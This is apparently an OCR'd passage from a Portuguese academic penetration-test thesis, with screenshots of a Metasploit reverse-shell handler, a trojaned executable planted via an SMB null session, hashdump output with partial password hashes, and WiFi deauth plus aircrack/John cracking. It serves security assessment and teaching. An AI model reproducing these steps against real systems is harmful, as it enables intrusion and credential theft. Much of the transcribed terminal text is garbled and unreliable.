Tri/Gdsda.A

static engine - malicious

ML Attribute.HighConfidence
HEUR:Trojan.Win32.Generic

Clean

Clean

Clean

Clean

Clean

Clean

Clean

Clean

Clean

Clean

Clean

Clean

Clean

Clean

Clean

Clean
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As Figuras 4.52 e 4.53 ilustram a interface das ferramentas Veil e Shellter,
respectivamente. Esses utilizam inUmeras possibilidades de criptografia, de codificacdo em
executaveis (encoders), dificultando a deteccdo pelo antivirus. Essas ferramentas foram
utilizadas para tornar o payload indetectavel e substituir pelo arquivo a ser manipulado.
Destaca-se sua utilizacdo para fins académicos, portanto, as funcdes utilizadas seréo
suprimidas.

Figura 4.52 — Interface da ferramenta Veil

root@YagoKali: ~ e ® O

Terminal  Ajuda
Use a specific tool

Arquivo Editar Ver Pesquisar

Veil-Evasion Menu
41 payloads loaded
Available Commands:

back Go to Veil's main menu

checkvt Check VirusTotal.com against generated hashes
clean Remove Qe ted artifacts

exit Completely exit Veil

info Information on a specific payload

list List available payloads

use Use a specific payload

veil/Evasion=: [

Fonte: Veil

Figura 4.53 — Interface da ferramenta Shellter

Shell7er

Choose Operation Mode - Auto/Manual {A/M/H): _

Fonte: Shelter.org

Apos a encriptacdo, realizou-se a juncdo do payload com o executavel original em um
Unico executavel, para que um funcionario da Empresa ndo suspeitasse de uma possivel falha
na execucdo do programa. Ao executar o arquivo, os dois arquivos que o compde também
seriam executados sequencialmente. Detalhes dessa juncdo também ndo serdo apresentadas. A
Figura 4.54 ilustra o comando put utilizado para enviar o arquivo.exe infectado pelo original

contido na pasta do servidor compartilhado.
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Figura 4.54— Substituicdo de arquivo executével pelo payload.

122070527 blocks of size 4096. 14607528 blocks available
V= put
.exe does not exist
b \> put .exe
NT STATUS SHARING VIOLATION opening remote file %\ oy .exe
smb: ¥ \> put exe

putting file .exe . .exe (2139,2 kbs/s) (average 2139,2 kb/s)
smhy: N \= put Xe

putting file NN 3 N (2708,4 kb/s) (average 2390,4 kb/s)
smb: \ \> SMBec iled (NT STATUS CONMECTION RESET). The connection is di
sconnected now

il I

Fonte: Elaborada pelo autor

Em seguida, na Figura 4.55, apresenta-se o conjunto de comandos utilizados para
obtencdo de conexdo com o arquivo payload. Sdo os comandos: (i) use
exploit/multi/handler para realizar uma conexdo com o exploit que sera executado na
maquina alvo; (ii) set payload /windows/x64/meterpreter/reverse_tpc
para setar o payload do Windows 64bits do modulo meterpreter de conexao reversa; (iii) show
options mostra as opcdes do payload, (iv) set Iport altera a porta do computador

atacante; e (v) set lhost altera o IP do computador do atacante.

Figura 4.55 — Configuracgdo do exploit para obtencéo de conex@o com o payload.

=xploit/multi/handler
it( ) = set payload /windows/x64/meterpreter/reverse tcp
value specified for payload is not valid.
exploit( ) = payload windows/x64/meterpreter/reverse tcp
ad => windows/x64/meter /T e tcp
exploit( ) = show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/x64/meterpreter/reverse tcp):

Name Current Description

EXITFUNC process Exit technique (Accepted: '', seh, thread, process, none)
LHOST The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name

Wildcard Target

) = set lport 443
) = set lhost 192.168.0.10

I |

2.168.0.10

Fonte: Elaborada pelo autor
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A Figura 4.56 mostra o comando exploit, que tem como objetivo executar o exploit
multi handler, o qual aguarda o payload ser executado, em seguida, ap6s ser executado, abre-se
0 modulo Meterpreter. O comando sysinfo mostra detalhes do sistema operacional

infectado.

Figura 4.56 — Obtencé&o de acesso ao sistema do alvo

exploit( ) = exploit

Started reverse TCP handler on 192.168.0.10:443

Sending stage (206403 bytes) to 192.168.8.1

Meterpreter session 1 opened (192.168.0.10:443 -> 192.168.0.1:64397) at 2018
3-07 16:03:47 -0300

: SRV-

: Windows 2008 R2 (Build 7681, Service Pack 1).
Architecture : X64
System Language : pt BR

2
x64/windows

Fonte: Elaborada pelo autor

4.4.3 Explorando o Sistema

4.4.3.1 Rede interna

Apobs burlado o antivirus com a execugdo do arquivo infectado pela falha humana
(funcionario da Empresa), se tem acesso ao sistema através do médulo Meterpreter (Figura
4.56). Este mddulo do Metasploit tem varias funcBes que agilizam o processo de exploracéo e
pos exploracédo das invasoes.

A Figura 4.57 ilustra 0 comando getsystem, utilizado para elevacao de privilégios do
usuério ativo, neste caso o sistema rejeitou a tentativa de mudanca de privilégios. O comando
hashsump faz uma copia das senhas criptografadas dos usuarios que estdo cadastrados no

sistema operacional, neste caso o comando também foi rejeitado pelo computador.
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Figura 4.57 — Resultado da execu¢do dos comandos getsystem e hashdump

meterpreter > getsystem
..got system via technique 1 (Named Pipe Impersonation (In Memory/Admin) ).
meterpreter > getsystem

em via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
r > hashdump
priv_passwd get sam hashes: Operation failed: = is denied.

Fonte: Elaborada pelo autor

Apos a tentativa frustrada de mudanca de privilégios e a captura de hashs dos usuarios
do sistema, foi utilizado o programa fgdum, nativo do Kali Linux, que tem a funcédo de capturar
dados de usuarios do sistema Windows. A Figura 4.58 ilustra o caminho que o programa esta

localizado no sistema e 0s outros programas para captura de dados.

Figura 4.58 — Utilizacdo do arquivo fgdump.exe

:~# cd fusr/share/windows-binaries/

: /usr/share/windows-binaries# 1s

fgdump klogger.exe nc.exe vncviewer.exe

fport mbenum plink.exe wget.exe
exe2bat.exe hy ic {= radmin.exe whoami.exe

: NS - cd fgdump

2/ /share/windows - fgdump# 1s
cachedump64.exe fgdump.exe pstgdump.exe README Servpw.exe
cachedump.exe fgexec.exe PwDump.exe servpwéd.exe

Jusr/share/windows-binaries/fgdump# I

Fonte: Elaborada pelo autor

A Figura 4.59 ilustra um upload do arquivo para a pasta raiz do sistema alvo, no disco
local C:\.

Figura 4.59 — Upload do arquivo fgdump.exe para o computador alvo
meterpreter > upload fusr/share/windows-binaries/fgdump/fgdump.exe c:%\
= exit

[*] uploading : /usr/share/windows-binaries/fgdump/fgdump.exe -= c:exit

[*#] Uploaded 952.00 KiB of 952.00 KiB (100 ): fusr/share/windows-binaries/fgdu
e -= c:exit
fusr/share/windows-binaries/fgdump/fgdump.exe -= c:exit

Fonte: Adaptada de Metasploit

A Figura 4.60 ilustra a execucao do shell do sistema alvo, localizando um arquivo no
diretério C:\. Enquanto, a Figura 4.61 ilustra a execucdo do arquivo fgdump.exe. O executavel

ndo retornou nenhum dado de senhas de usuérios.
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Figura 4.60 — Execucao do shell na maquina alvo
root@ YagoKali: ~ e ® O
Arquive Editar Ver Pesquisar Terminal Abas Ajuda

root@YagoKali: ~ X | root@YagoKali: /usr/share/windows-bina.. X M

Microsoft Windows [versfo 6.1.7601]
Copyright (c) 2089 Microsoft Corporation. Todos os direitos

C:\Windows\system32>dir

dir

0 volume na unidade C nflo tem nome.

0 N@mero de S#rie do Volume & 4AD4-981B

:\Windows\system32

08:52 <DIR=>

08:52 <DIR=> b

06:33 <DIR> 2409

00:24 3.745.792 accessibilitycpl.dll
13/07/2009 22:24 39.424 ACCTRES.dll
13/07/2009 22:40 9.216 acledit.dll

Fonte: Elaborada pelo autor

Figura 4.61 — Execucédo do arquivo fgdump.exe

root@ YagoKali: ~ e O O
Arguivo Editar Ver Pesquisar Terminal Abas Ajuda

root@YagoKali: ~ x | root@YagoKali: fusr/share/windows-bina.. *x M

~C
Terminate channel 67 [y/N] n

~C

Terminate channel 67 [y/N] vy
meterpreter > shell

Process 4320 created.

Channel 7 created.

Microsoft Windows [versfo 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Todos os direitos

C:\Windows\system32>cd
cd

C:\Windows=cd

Fonte: Elaborada pelo autor
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A Figura 5.62 ilustra um utilitario do Meterpreter de captura de senhas. Utilizou-se o

comando run hashdump, que possui a mesma func¢éo do fgdump.

Figura 4.62 — Execucdo do comando hashdump do Meterpreter

meterpreter > run hashdump

[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart hashdump.
[!] Example: run post/windows/gather/smart hashdump OPTION=value [...]

[#] Obtaining the boot key...

[#] Calculating the hboot key using SYSKEY afd70b24365b3ebe6c®505b38f0ddees. ..
Jusr/share/metasploit-framework/lib/rex/script/base.rb:134: warning: constant
enSSL: :Cipher: :Cipher is deprecated

[*] Obtaining the er list and keys...

[*] Decrypting user keys...
fusr/share/metasploit-framework/lib/rex/script/base.rb:268: warning: constant
enssSL: :Cipher: :Cipher is deprecated
fusr/share/metasploit-framework/lib/rex/script/base.rb:272: warning: constant
enSSL::Cipher::Cipher is deprecated
Jusr/share/metasploit-framework/lib/rex/script/base.rb:279: warning: constant

Fonte: Elaborada pelo autor

Apos algum tempo da execucdo de hashdump, obtiveram-se dados de hash de dois

usuérios, um Administrador e Convidado. Essa informagéo € apresentada na Figura 4.63.

Figura 4.63 — Hahs obtidos

Jusr/share/metasploit-framework/lib/rex/script/base.rb:134: warning: constant
enSSL: :Cipher: :Cipher is deprecated

[#] Obtaining the user list and keys...

[*] Decrypting user Kkeys...
Jusr/share/metasploit-framework/lib/rex/script/base.r : warning: constant
ensSL: :Cipher: :Cipher is deprecated
fusr/share/metasploit-framework/lib/rex/script/base.rb:272: warning: constant
enSsSL::Cipher::Cipher is deprecated
Jusr/share/metasploit-framework/lib/rex/script/base.rb:: : warning: constant
enSSL: :Cipher: :Cipher is deprecated

[*] Dumping password hints...

Mo users with password hints on this system

[*] Dumping password hashes...

Administrador:500:aad3b435b514( 1:947b54ca28thae
edd: ::
Convidado:581:aad3b435b51404ee :31d6cfefdl6ae931b73cC

Fonte: Elaborada pelo autor

A Figura 4.64 ilustra os dados salvos em um arquivo chamado senhashash, a serem

utilizadas na proxima etapa do Pentest, ou seja, a de pds-exploracao do alvo.
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Figura 4.64 — Dados salvos em um arquivo

‘ AbrirvHEI,‘ senhas:hash ‘ Salvar HE| e ® O
Administrador:500:aad3b435b51404¢ 104ee:947b54ca28fh de:::
Convidado:501:aad3b435b51404ee lodee:31d6cfendls '0CcO89cCO: : :

Fonte: Elaborada pelo autor

Nesta etapa do Pentest, explorou-se a principal falha encontrada no servidor, a
SMB/NETBIOS NULL Session Authentication Bypass Vulnerability, possibilitando a
transferéncia de um malware para infectar a maquina alvo e dar acesso ao sistema. Sendo
arquivo executado pelo usuario do sistema gque nao sabia que o arquivo executavel utilizado na
Empresa teria sido modificado pelo atacante.

Durante a exploracdo do computador, o antivirus do servidor detectou que havia um
programa malicioso sendo executado na memoria, solicitando a intervengdo do usuério, apos a
algumas horas nenhum funcionério da Empresa se preocupo em notificar a equipe de Tl e nem
selecionar a opc¢do de desinfeccdo, passaram-se algumas horas sem haver quaisquer

intervencdo. As Figuras 4.65a e 4.65b ilustram os alertas do antivirus.

Figura 4.65 — Notifica¢do do antivirus a atividades suspeitas: (a) notificagcdo as 10h30min e (b) notificacao

as 11:47
F%  malware detectado © Vs malware detectado ®

I
.

E recomendavel fechar todos os programas ativos &
salvar suas alteragdes antes de reiniciar o
computader,

E recomendével fechar todos os programas ativos &
salvar suas alteragées antes de reiniciar o
computador,

Detectado: Trojan.Multi.GenAutorunProc.a

Local: Eyetem Memon Detectado: Trojan.Multi.GenAutorunProc.a

Local: System Memory

Desinfectar e reiniciar o computador Desinfectar e reiniciar o computador

Tentar desinfectar sem reiniciar o computador Tentar desinfectar sem reiniciar o computador

Esse método ndo garante a desinfeccio completa. Esse método ndo garante a desinfeccio completa.

Aplicar  todos os objetos desse tipo Aplicar & todos os objetos desse tipa

‘ : "
I j m‘ A &' |FD EI 0611005120018 - I ﬂ @“ * P uﬁfln;?z?ns =

(@) (b)

Fonte: Kaspersky Labs

Apbés a infeccdo foram coletados dados de logins e senhas de usuarios,
consequentemente, permitindo acesso total ao sistema.
Visando explorar outras vulnerabilidades, a execucdo do Pentest ndo encontrou

exploits para falhas relacionadas a:
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e Firebird Default Credentials, que permitiria ao atacante se conectar ao banco de
dados Firebird do computador alvo, utilizando as credenciais das configuracdes
padrao do banco de dados;

e Explorar o servigo SSL/TLS (Certificate Signed Using A Weak Signature
Algorithm), vulnerabilidade classificada como média pelo OpenVAS, resultaria de
uma fraca criptografia utilizada.

e Quando explorada a vulnerabilidade NTFS, verifica-se uma falha de configuracéo
NTFS do disco rigido. Se explorada, o black hat poderia executar comandos que
ganhariam acesso ao computador. Nesse contexto, a Figura 4.66 ilustra 0 médulo
auxiliar do Metasploit, enquanto na Figura 4.67 observa-se que nenhum dos

computadores da rede apresentou esta vulnerabilidade.

Figura 4.66 — Ferramenta auxiliar para verificacdo de falha NTFS

root@YagoKali: ~ e e O

Arquivo Editar Ver Terminal Ajuda

Matching Modules

Pesquisar

Name isclosure e Rank Description

auxiliary/dos/freebsd/nfsd/nfsd mount normal FreeBSD Remo
e NFS RPC Request Denial of Service
auxiliary/scanner/nfs/nfsmount normal NFS Mount Sc

Fonte: Adaptada de Metasploit

Figura 4.67 — Em nenhum dos hosts foram detectados a falha

root@ YagoKali: ~ e ® O

Arquivo Editar Ver Pesquisar Terminal Ajuda
rhosts == 192.168.06.1 -
msf auxiliary(

[+*] Scanned 1 of 1 ho

[#] Auxiliary module execution 3

msf auxiliary( > set rhosts 192.168.0.108
rhosts => 192.168.0.108

msf auxiliary(

[*] Scanned 1 of 1 hosts (100%

[*#] Auxiliary module execution

msf auxiliary( > set rhosts 192.168.0.104
rhosts == 192.168.0.1684

msf auxiliary(

[+*] Scanned 1 of 1 hosts (100%

[#] Auxiliary module execution 3

msf auxiliary( > set rhosts 192.168.0.112
rhosts => 192.168.0.112

msf auxiliary(

Scanned 1 of 1 ho

Auxiliary module
auxiliary(

Fonte: Adaptada de Metasploit
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4.4.3.2 Rede Wirelless

Outra fase relacionada a exploracdo do Pentest € relacionada a rede wireless de uma
organizacdo. Elas ja s@o vulneraveis por natureza (MORENO, (2016), pois utilizam técnicas de
criptografia ultrapassadas, ma configuracao e firmwares desatualizados.

Nesse sentido, em continuidade a exploragdo do sistema, observaram-se duas falhas
graves relacionadas ao equipamento Mikrotik?* utilizado pela Empresa, a saber:

e Mikrotik RouterOS ‘'Winbox Service' Information Disclosure Vulnerability,

permite que esta versdo do equipamento deixe o sistema operacional vulneravel,
e, consequentemente, vaze informagoes;

e TESO in.telnetd buffer overffow, que segundo o site Acunetix, diz que o servidor
de telnet do sistema n&o suporta a quantidade de comando sobrecarregando seus
buffers. Um black hat poderia utilizar essa vulnerabilidade para conseguir acessar
0 root ao sistema.

Além dessas, ainda se verificaram duas vulnerabilidades médias e duas baixas. Antes
de tentar explorar as graves, na Figura 4.68 ilustra que algum atacante mal-intencionado havia
modificado a senha do Mikrotik. Os funcionarios da em Empresa relataram lentiddo da Internet
e na rede interna, entretanto, ndo se verificaram relatos de roubos de informacdes ou perda de
dados. Apos este acontecimento, que comprometia o funcionamento da Empresa e que foi
detectado por essa pesquisa, contatou-se a empresa responsavel pelo fornecimento do servigo

de Internet para correcdo das falhas.

Figura 4.68 — Interface do modulo do Winbox Mikrotik

© WinBoxv3.11 (Addresses) - | X
File Tools
Connect To: |192.168.0.254 ¥| Keep Password
Wi 1
Login: |admin Open In New Windo
Password: |
Add/Set Connect To RaMON
ERROR: could mot connect to 192.168.0.254
Managed Meighbors
T| | Refresh al 3
MAC Address IP Address Identity WVersion Board hl
4C:5E:0C:F9:69:52 192.168.0.254 HACKED 6.38.1 (stable) RB SXT 5nD 12

Fonte: Adaptada de Mikrotik

2L Mikrotik é um aparelho responsavel por gerenciar toda a rede de uma organizagdo, atribuigdo de IPS,
fornecimento de Internet, entre outro.
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Apos esse cendrio, verificou-se se a placa wireless do notebook utilizado no Pentest
estava em modo monitor, uma vez que permitiria capturar pacotes da rede wireless mesmo sem
estd conectado na mesma, apenas dependendo do alcance do sinal. A Figura 4.69 ilustra a
utilizacdo do comando airmon-ng check kill, buscando processos que poderiam
utilizar o adaptador wireless e que poderiam atrapalhar o processo. O parametro ki ll é
responsavel por finalizar estes eventuais processos. Ja 0 comando airmon-ng start
walanO foi utilizado para iniciar 0 modo monitor do adaptador wireless do computador
utilizado na pesquisa.

Figura 4.69 — Finalizacao de processos que poderiam atrapalhar o processo da placa wirelless e colocaria a
placa wlan0 em modo monitor
:~# airmon-ng check kill

Killing these proce

PID Name
709 wpa supplicant

:~# airmon-ng start wlan®

PHY Interface Driver Chipset

phy® wlan@ ath9k Qualcomm Atheros QCA9565 / AR9565 Wirele
ss Network Adapter (rev ©81)

(mac88211 monitor mode vif enabled for [phy@]wlan® on [phy8]wlan
@mon)
(mac80211 station mode vif disabled for [phy@]wlan@)

Fonte: Elaborada pelo autor

Em seguida, criou-se outro adaptador, o wlanOmon conforme ilustrado na Figura 4.70,

que ¢ o adaptador wlan0 em modo monitor.
Figura 4.70 — Verificacdo do estado modo monitor de placa wireless

wlan@mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST= mtu 1500
unspec 5C-C9-D3-8A-37-7F-30-3A-00-00-00-00-00-00-00-00 txqueuelen 1080
(Nao Especificado)
RX packets 152 bytes 38582 (37.6 KiB)

RX errors @ dropped 152 overruns @ frame @
TX packets @ bytes © (0.0 B)
TX errors @ dropped @ overruns © carrier @ collisions @

i

Fonte: Elaborada pelo autor
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A Figura 4.71 ilustra a utilizacdo do comando airodump-ng walanOmon, o qual
monitora as redes Wireless ao alcance do adaptador do computador da pesquisa. Foram
identificadas duas redes ligadas a Empresa, ambas possuindo a criptografia WPA2 que é a mais

atual e, consequentemente, a menos vulneravel.

Figura 4.71 - airodump-ng para monitorar as redes ao alcance da placa wireless
3 ][ Elapsed: © 5 ][ 2018-08-04 23:14
PWR Beacons # #/5 C CIPHER AUTH ESSID

-88
-91
-90
-87
-83
-77
-85
-85
-77
-84
-85
-67
-74
-82
-66
-64
-78
-86

-85

11 . WEP
11

135 CCMP
11 . TKIP
270 CCMP
270 CCMP
270 CCMP
RN

RN TKIP
270 CCMP
RN TKIP
270 CCMP
S54e TKIP
RN TKIP
270 CCMP
270 CCMP
S54e TKIP
270 CCMP
135 CCMP PSK

MWNNDTOG0W
(S == R -] 18]
Ch MR e W W RN

@ &

W

=~ w0

2:
5:
2:
5:
5:
2:
C:
E:
5:4
E:
E:

3
2
8
8
=
8
8

LE I = T s

STATION 2 ate Lost Frames Probe
:22:90:61:08 76:38:7B:09
(not associated) 3 :8A:43
(not associated) 4:8F:1F:E9

:~# airodump-ng wlan®mon

Fonte: Elaborada pelo autor

Na Figura 4.72 apresentam-se dados importantes das redes, como o ESSID, o nome da
rede em texto claro; BSSID o identificador Unico da rede que utiliza caracteres alfanuméricos
para identificar as redes; CH, o canal de frequéncia que a rede esta operando; #Data, dados
trafegados; tipo de criptografia CIPHER; e o sinal da rede PWR. Observam-se os dispositivos
conectados nas redes.

Uma falha do WPAZ2 permitiria ao atacante utilizar ataques de dicionario ou de forca
bruta contra o handshake gerando um arquivo.cap, onde ficam salvas as credenciais
criptografadas da rede, este que, pode ser obtido quando um usuario se conecta e faz a
autenticacdo na rede. O aircrack consegue comparar 0S arquivos com a senha criptografada,
fazendo a reverséo e trazendo-a para o atacante. O ataque utilizado nesse Pentest para testar a
seguranca foi baseado na combinacdo de diciondrio e forca bruta. O dicionario foi
personalizado de acordo com as palavras coletadas na fase de levantamento de informacg6es do

alvo.
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Figura 4.72 — Dados referentes as redes Wireless ao alcance do adaptador

6 ][ Elapsed: 6 s ][ 2018-08-04 23:14

PWR Beacons 3 3 CIPHER AUTH ESSID

=80 C C 4 CCMP PSK
-1 g 3 3 3 - WPA
-88 4 C C 6 WPA CCMP
-87 4 C C 6 . WPA TKIP
-63 C C 0 WPA2 CCMP
-66 C C 0 WPA2 CCMP
WPA CCMP
WPA TKIP
WPA2 CCMP
WPA  CCMP
WPA TKIP
. WPA TKIP
WPAZ2 CCMP
. WPA TKIP
WPA2 CCMP
. OPN
. WPA TKIP
WPAZ CCMP
. WEP WEP
0PN

=

]

DO O~
oo QooCcwe

Fonte: Elaborada pelo autor

A Figura 4.73 ilustra que ap6s a identificacdo da rede, filtrou-se o canal para que
aparecesse apenas a rede a ser testada. O objetivo é capturar o handshake para que pudessem
ser realizados os testes. Para capturar este arquivo € necessario que um usuario se conecte na
rede e, para que isto ndao demore, foi utilizado um ataque DDOs Deauth, que faz uma
desautenticacdo dos usuarios que estdo conectados na rede, forcando os usuérios da rede a

desconectarem e conectarem novamente, sem que percebam a acao.

Figura 4.73 — Filtragem da rede alvo e ataque de desautenticacdo

CH 1 ][ Elapsed: 4 mins ][ 201 -04 23:54 ][ WPA handshake: 8C:55:B4:FD
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
8C:55:B4:FD -67 [¢] 2375 4656 21 1 130 WPA2 CCMP PSK

STATION PWR Rate Lost Frames Probe

-31  ®e- 6
Be- Be

root@YagoKali: ~

Arquivo  Editar Ver Pesquisar Terminal Ajuda
~# airepla g
Wa
ndin d e Auth 0 : = 64 1F] ACKs]
: 1F] [ @ ACKs]
1F] g ACKs]
: 1F] [ 0|64 ACKs
STMAC: :6 1F] [ 1|64 ACKs]

Fonte: Elaborada pelo autor
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A Figura 4.74 apresenta quatro arquivos gerados pela captura do hanshake, sendo .cap
0 utilizado para teste e onde a chave esta armazenada.

Figura 4.74 — Arquivos gerados a partir da captura do handshake

‘

rede rede rede rede
-01.cap -0l.csv -01.kismet. -0l.kismet.
csv nebxml

Fonte: Elaborada pelo autor

O johntheripper foi utilizado em conjunto com o aircrack para efetuar o ataque de
forca bruta no arquivo. As regras foram configuradas, Figura 4.75, para que pudessem gerar
palavras personalizadas (caracteres especiais, numeros, letras mailsculas e mindsculas) no
dicionario criado com as palavras relacionadas a Emprese, como, por exemplo, e-mails, nomes,

telefones, nomes da cidade e nome do seguimento da empresa.

Figura 4.75 — Regras personalizadas do john

|m| |E‘ john.conf

fetcljohn

CAZ [ _$EFIY-9][U-9]"
cAz"[@-9]1[0-9]1[0-9][0-9]"
cAz"[0-9][0-9][?_$@#][0-9][0-9]"
cAz"[?_s@#]1[0-9]1[7_s$@#][e-9]"
cAz"[7_s@#][0-9][0-9][0-9][@-9]"
cAz"[?_s@#]1[0-9]1[0-9]1[7_s$@#]"

Fonte: Adaptada de https://www.gracefulsecurity.com/custom-rules-for-john-the-ripper-examples/

A Figura 4.76 ilustra a utilizacdo do comando gedit /etc/john/john.conf
para gerenciar 0 arquivo de regras do john. Em seguida, o comando john —
wordlist=Palavras.txt -rules=Regras -stout | aircrack-ng -b
*H:**:8C:55:B4:FD —w — rede****-01.cap utiliza a forca bruta gerando palavras
personalizadas baseadas no dicionario criado. A saida resultado é redirecionada para o aircrack
passando o BSSID da rede e o arquivo.cap

Figura 4.76 — Comando utilizado para forca bruta do arquivo.cap

root@YagoKali: ~ @ 00
Ver Pesquisar Ajuda
:~# gedit fetc/john/john.conf

Arguivo  Editar Terminal

:~# gedit /etc/john/john.conf

:~# john --wordlist=Palavras.txt --rules=Regras --stdout | aircrac
:8C:55:B4:FD -w - rede -81.cap

Fonte: Elaborada pelo autor
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A Figura 4.77 apresenta o aircrack comparando as palavras geradas com a do arquivo,
utilizando o poder de processamento da CPU.

Figura 4.77 — Processo de quebra de senhas utilizando dicionario e forca bruta

root@YagoKali: ~ @ e O

Arquivo Editar Ver Pesquisar Terminal Ajuda

[@0:11:11] 4219112 keys tested (6258.21
Current passphrase:
Master Key

Transient Key

EAPOL HMAC

Fonte: Elaborada pelo autor

Com apenas 11 minutos e 35 segundos conseguiu-se quebrar a senha. A Figura 4.78
ilustra o resultado do ataque na segunda rede da Empresa, o processo foi igual ao da primeira
rede, mas com a diferenca do tempo decorrido para quebrar a senha, que na primeira foi de
apenas 13 segundos (Figura 4.79), utilizando 0 mesmo arquivo de palavras personalizadas, as

regras do john e 0s mesmo comandos.

Figura 4.78 — Senha descoberta
root(@YagoKali: ~ (- <)

Arquivo Editar Ver Pesquisar Terminal Ajuda

[00:11:35] 4366144 keys tested (6323.

( FOUND! [ #1186 ]

Master Key

Transient Key

EAPOL HMAC
i~#

Fonte: Elaborada pelo autor
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Figura 4.79 — Senha descoberta da segunda rede Wireless

root@YagoKali: ~ e 0 6

Arquivo Editar Ver Pesquisar Terminal Ajuda

[00:00:13] 90520 keys tested (6648.98 k/s)

KEY FOUND! [ 12018 ]

Master Key

Transient Key

EAPOL HMAC
Ho I

Fonte: Elaborada pelo autor

Também foi verificado se as redes tinham o WPS habilitado. A Figura 4.80 ilustra a
execucdo do comando, que poderia ser outro vetor de ataque, mas que ndo estava habilitado
(Figura 4.81)

Figura 4.80 - Comando para listar as redes com WPS

:~# airodump-ng wlan@mon ——w-_:pl

Fonte: Elaborada pelo autor

Figura 4.81 — Resultado da verificacéo
CH 5 1[ Elapsed: 24 s ][ 2018-08-05 22:42

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH WPS

:8C:55:B4:FD -57 65 6 29 2 130 WPA2 CCMP  PSK
:BC:55:B4:FD  -58 66 : ® 2 130 WPA2 CCMP  PSK

Fonte: Elaborada pelo autor

A Figura 4.82 ilustra o IP no qual foi atribuido ao computador da pesquisa apds a
conexdo com a rede wireless. Utilizou-se o Wireshark (Figura 4.83) para analisar o trafego da
rede tentando capturar pacotes que fossem Uteis, verificando a existéncia de varios hosts

conectados a rede.
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Figura 4.82 — Verificacdo da interface de rede

root@YagoKali: ~ [~

Arquivo Editar Ver Pesquisar Terminal Ajuda

ethe: flags=4899<UP, ST> mtu 15680
ether fc:45: c6 txqueuelen 1000 (Ethernet)
(0.0 B
r s @ frame @
( B)
d ® overruns @ carrier 8 collisions @

frame @

>d © overruns @ carrier ® collisions @

mtu 1500
k 255.255.0.0 broadcast 10.0.255.255
e2d: 64 d 0x28<link>
leoe r|
KiB)
s @ frame @
(215.2 KiB)

Fonte: Elaborada pelo autor

Figura 4.83 — Analise de trafego entre os computadores da rede interna utilizando o Wireshark
e om - B e W« v4b]

Captuzineg from wland s o0

F et dien Capture i progrees Packets: 36 Displaye 36 (100.0%) Protée: Datiust

Fonte: Elaborada pelo autor

As Figuras 4.84 a e 4.84b apresentam a tentativa de acessar o painel administrativo do
roteador com as credenciais padrdo, pois muitas vezes o roteador ndo é configurado de maneira
eficiente e o responsavel pela configuracdo os deixa com valores default. Neste caso o usuario
e a senha foram configurados corretamente.

Figura 4.84 — Interfaces do Roteador: (a) tentativa de login do painel administrativo e (b) mensagem de

acesso negado

intelbrar ‘ HoiSpot 300

Acesso de Usuario

Usuario ou senha incorretos

Usuario: admin
Senha; LTI
Idioma: Pomugués  +|
Enviar | 0K
(@) (b)

Fonte: Elaborada pelo autor
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A Figura 4.85 apresenta a varredura da rede, com o nmap, com 0 objetivo de verificar
hosts ativos na rede de acordo com o range de IPs fornecido ao computador da pesquisa.

Figura 4.85 — Verificagdo de hosts ativos com o nmap

root@YagoKali: ~ e ® 0
| Ajuda
[host down] -

Arquivo  Editar Ver Pesquisar Termina
Nmap scan ort for 10.0.0.234
scan for 10.0.8.235
a for 36
for
for
for
for 8.240
for 241
for
for 1€ 43 0 down]
for 10.0.0.244 [host down]
for 10.0.0.245 [host down]
for 6
for
for 8
for 16 4 [host
for 10.0.0.250 [host

rep [host down]
Initiating Parallel DNS resolution of 1 host. at 23:52

Fonte: Elaborada pelo autor

A Figura 4.86 ilustra a interface grafica da ferramenta xhydra, utilizada na tentativa de
quebrar a senha do painel administrativo utilizando o dicionario gerado de acordo com as

palavras personalizadas, mas foram obtidos sucessos com este ataque.

Figura 4.86 — Ferramenta XHydra

xHydra e ® 0O
Sair
|Target| Passwords Tuning | Specific = Start
Target
@ Single Target [127.001 |
O Target List ' '
["] Prefer IPV6
Port o |2
Pratocol |adam6500 v
Cutput Options
[J Use SSL [[J Use old SSL [C] Be Verbose
[[] Show Attempts [C] Debug
[J COMPLETE HELP ["] Service Module Usage Details

hydra -l yourname -p yourpass -t 16 127.0.0.1 adam6500

Fonte: Elaborada pelo autor

A Figura 4.87 ilustra a execugdo do comando traceroute, o qual realiza uma rota da
maquina atual até o servidor testado, o google.com, mostrando os IPs que o pacote percorre até

chegar ao destino.
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Figura 4.87 — Analise da rede através do comando traceroute

roctil Yagakall; - -JC O -]

Arguvo  Editar Wer Pesquisar  Terminal  Ajuda

Fonte: Elaborada pelo autor

A Figura 4.89 apresenta o teste que verifica se 0 host 192.168.0.112 esta ativo e

exibindo os diretorios de compartilhamento SMB.

Figura 4.88 — Comando ping no host 192.168.0.112 e listagem dos diret6rios compartilhados
root@YagoKali: ~ e e®0

Arquivo Editar Ver Pesquisar Terminal Ajuda
:~# ping 192.168.0.112
PING 192.168.0.112 (192 112) 56(84) bytes of data.
192.168.08. icmp
192. : icmp
192. : icmp
192. : icmp
192. : icmp
192. : icmp
from 192. : icmp
from 192. : icmp 3 ms
192. : icmp se ime=0.911 ms

= = == = =]

9 packe smi % packe 0ss, time 8055ms
rtt min/avg/max/mde

:~# smbclie :
WARNING: The "syslog" option is deprecated

Sharename ype Comment

ADMINS isk Administracdo remota
Arquivos
©

Fonte: Elaborada pelo autor

Sendo assim pode-se resumir que na realizacdo desta fase do Pentest, exploracdo do
sistema, realizou-se a exploracdo do servidor em que possuia a falha SMB NullSession Bypass,
onde tinha permissdo de baixar, alterar e enviar arquivos na rede compartilhada, assim foi
enviado um arquivo malicioso na pasta compartilhada do sistema que ficavam software
utilizados pela organizacao. Com o objetivo de obter acesso total a maquina alvo, substituindo-
o0s por arquivo infectado, quando os usuérios abrissem o sistema, a maquina seria infectada,
assim foi obtido acesso ao sistema, obtendo dados dos usuérios do servidor e senhas de acesso.

Na exploracdo da rede wirelles, foi personalizado um dicionario de palavras

relacionadas a Empresa, criado a partir dos dados coletados na primeira fase do Pentest.
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Analisou-se qual seguranga a Empresa utilizava nas redes wireless, a fim de procurar o0 meio
mais préatico de realizar os ataques. Visto que a seguranca era WPA2, a primeira tentativa seria
